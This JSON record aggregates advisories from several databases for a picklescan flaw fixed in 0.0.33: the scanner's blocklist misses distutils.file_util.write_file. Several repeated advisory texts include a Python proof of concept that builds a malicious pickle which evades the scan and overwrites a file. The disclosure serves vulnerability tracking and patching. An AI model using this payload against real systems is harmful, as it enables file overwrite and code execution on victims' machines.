{"id":"CVE-2025-71321","aliases":["EUVD-2025-210268","GHSA-m273-6v24-x4m4","GHSA-rmpp-8wf5-xx5q","PYSEC-2026-1791"],"status":"published","title":"picklescan - Arbitrary File Writing via distutils Module Bypass","description":"picklescan before 0.0.33 contains an arbitrary file writing vulnerability that allows attackers to bypass the dangerous blocklist by using distutils.file_util.write_file. Attackers can construct malicious pickle objects to overwrite critical system files and achieve denial of service or remote code execution.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00824,"percentile":0.57843,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502","CWE-552"],"published":"2025-12-29T15:22:30Z","modified":"2026-11-08T14:00:23Z","fixes":[{"ecosystem":"PyPI","package":"picklescan","fixed_in":["0.0.33"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.33"}]}]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.33"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.33"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]}],"products":[{"vendor":"mmaitre314","product":"picklescan"},{"vendor":"picklescan","product":"picklescan"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-file-writing-via-distutils-module-bypass","tags":["third-party-advisory","advisory","web"]},{"url":"https://github.com/mmaitre314/picklescan/pull/53","tags":["web"]},{"url":"https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab","tags":["web"]},{"url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71321","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-m273-6v24-x4m4","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-rmpp-8wf5-xx5q"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71321.json","tags":["advisory"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"]},{"url":"https://pypi.org/project/picklescan","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-71321","title":"picklescan - Arbitrary File Writing via distutils Module Bypass","description":"picklescan before 0.0.33 contains an arbitrary file writing vulnerability that allows attackers to bypass the dangerous blocklist by using distutils.file_util.write_file. Attackers can construct malicious pickle objects to overwrite critical system files and achieve denial of service or remote code execution.","status":"published","published":"2026-06-17T15:04:58.706Z","modified":"2026-11-08T14:00:23.977Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-08T14:43:22.764053Z"}],"euvd":[{"id":"EUVD-2025-210268","description":"picklescan before 0.0.33 contains an arbitrary file writing vulnerability that allows attackers to bypass the dangerous blocklist by using distutils.file_util.write_file. Attackers can construct malicious pickle objects to overwrite critical system files and achieve denial of service or remote code execution.","status":"published","published":"2026-06-17T15:04:58Z","modified":"2026-11-08T14:00:23Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-08T15:13:10.25084Z"}],"ghsa":[{"id":"GHSA-m273-6v24-x4m4","title":"Picklescan vulnerable to Arbitrary File Writing","description":"### Summary\nPicklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.\n\n### Details\nThis is another vulnerability which impacts the downstream user.\n\nBy constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.\n\n### PoC\n```python\nimport pickle\nimport distutils.file_util\n\nclass FileWriteBypass:\n    def __reduce__(self):\n        \n        target_file = \"pwned_config.env\"\n        content = [\"print('I have overwritten your config')\"]\n        \n        return (distutils.file_util.write_file, (target_file, content))\n\npayload = pickle.dumps(FileWriteBypass())\nwith open(\"bypass_filewrite.pkl\", \"wb\") as f:\n    f.write(payload)\n\nprint(\"bypass_filewrite.pkl\")\n```\n\n\u003cimg width=\"853\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65\" /\u003e\n\nTo fix this just add disutil to the blacklist","status":"published","published":"2025-12-29T15:22:30Z","modified":"2026-06-18T14:44:27Z","cvss":[{"version":"4.0","score":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-502","CWE-552"],"updated_at":"2026-11-02T14:40:29.43528Z"},{"id":"GHSA-rmpp-8wf5-xx5q","title":"Duplicate Advisory: Picklescan vulnerable to Arbitrary File Writing","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-m273-6v24-x4m4. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 0.0.33 contains an arbitrary file writing vulnerability that allows attackers to bypass the dangerous blocklist by using distutils.file_util.write_file. Attackers can construct malicious pickle objects to overwrite critical system files and achieve denial of service or remote code execution.","status":"withdrawn","published":"2026-06-17T18:35:56Z","modified":"2026-06-18T14:44:11Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:40:29.43528Z"}],"nvd":[{"id":"CVE-2025-71321","description":"picklescan before 0.0.33 contains an arbitrary file writing vulnerability that allows attackers to bypass the dangerous blocklist by using distutils.file_util.write_file. Attackers can construct malicious pickle objects to overwrite critical system files and achieve denial of service or remote code execution.","status":"published","published":"2026-06-17T17:16:40.847Z","modified":"2026-10-12T22:10:00.247Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:12:02.535029Z"}],"osv":[{"id":"CVE-2025-71321","title":"picklescan - Arbitrary File Writing via distutils Module Bypass","description":"picklescan before 0.0.33 contains an arbitrary file writing vulnerability that allows attackers to bypass the dangerous blocklist by using distutils.file_util.write_file. Attackers can construct malicious pickle objects to overwrite critical system files and achieve denial of service or remote code execution.","status":"published","published":"2026-06-17T15:04:58.706Z","modified":"2026-11-09T02:30:46.813737552Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-502"],"updated_at":"2026-11-09T03:16:44.651171Z"},{"id":"GHSA-m273-6v24-x4m4","title":"Picklescan vulnerable to Arbitrary File Writing","description":"### Summary\nPicklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.\n\n### Details\nThis is another vulnerability which impacts the downstream user.\n\nBy constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.\n\n### PoC\n```python\nimport pickle\nimport distutils.file_util\n\nclass FileWriteBypass:\n    def __reduce__(self):\n        \n        target_file = \"pwned_config.env\"\n        content = [\"print('I have overwritten your config')\"]\n        \n        return (distutils.file_util.write_file, (target_file, content))\n\npayload = pickle.dumps(FileWriteBypass())\nwith open(\"bypass_filewrite.pkl\", \"wb\") as f:\n    f.write(payload)\n\nprint(\"bypass_filewrite.pkl\")\n```\n\n\u003cimg width=\"853\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65\" /\u003e\n\nTo fix this just add disutil to the blacklist","status":"published","published":"2025-12-29T15:22:30Z","modified":"2026-07-07T17:57:27.559252288Z","cvss":[{"version":"4.0","score":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-502","CWE-552"],"updated_at":"2026-11-02T15:46:51.10002Z"},{"id":"GHSA-rmpp-8wf5-xx5q","title":"Duplicate Advisory: Picklescan vulnerable to Arbitrary File Writing","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-m273-6v24-x4m4. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 0.0.33 contains an arbitrary file writing vulnerability that allows attackers to bypass the dangerous blocklist by using distutils.file_util.write_file. Attackers can construct malicious pickle objects to overwrite critical system files and achieve denial of service or remote code execution.","status":"withdrawn","published":"2026-06-17T18:35:56Z","modified":"2026-06-18T15:00:17.017311837Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:56.281047Z"},{"id":"PYSEC-2026-1791","title":"Picklescan vulnerable to Arbitrary File Writing","description":"### Summary\nPicklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.\n\n### Details\nThis is another vulnerability which impacts the downstream user.\n\nBy constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.\n\n### PoC\n```python\nimport pickle\nimport distutils.file_util\n\nclass FileWriteBypass:\n    def __reduce__(self):\n        \n        target_file = \"pwned_config.env\"\n        content = [\"print('I have overwritten your config')\"]\n        \n        return (distutils.file_util.write_file, (target_file, content))\n\npayload = pickle.dumps(FileWriteBypass())\nwith open(\"bypass_filewrite.pkl\", \"wb\") as f:\n    f.write(payload)\n\nprint(\"bypass_filewrite.pkl\")\n```\n\n\u003cimg width=\"853\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65\" /\u003e\n\nTo fix this just add disutil to the blacklist","status":"published","published":"2026-07-07T16:03:14.308951Z","modified":"2026-07-07T17:48:02.358421063Z","cvss":[{"version":"4.0","score":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T15:52:55.06457Z"}]}}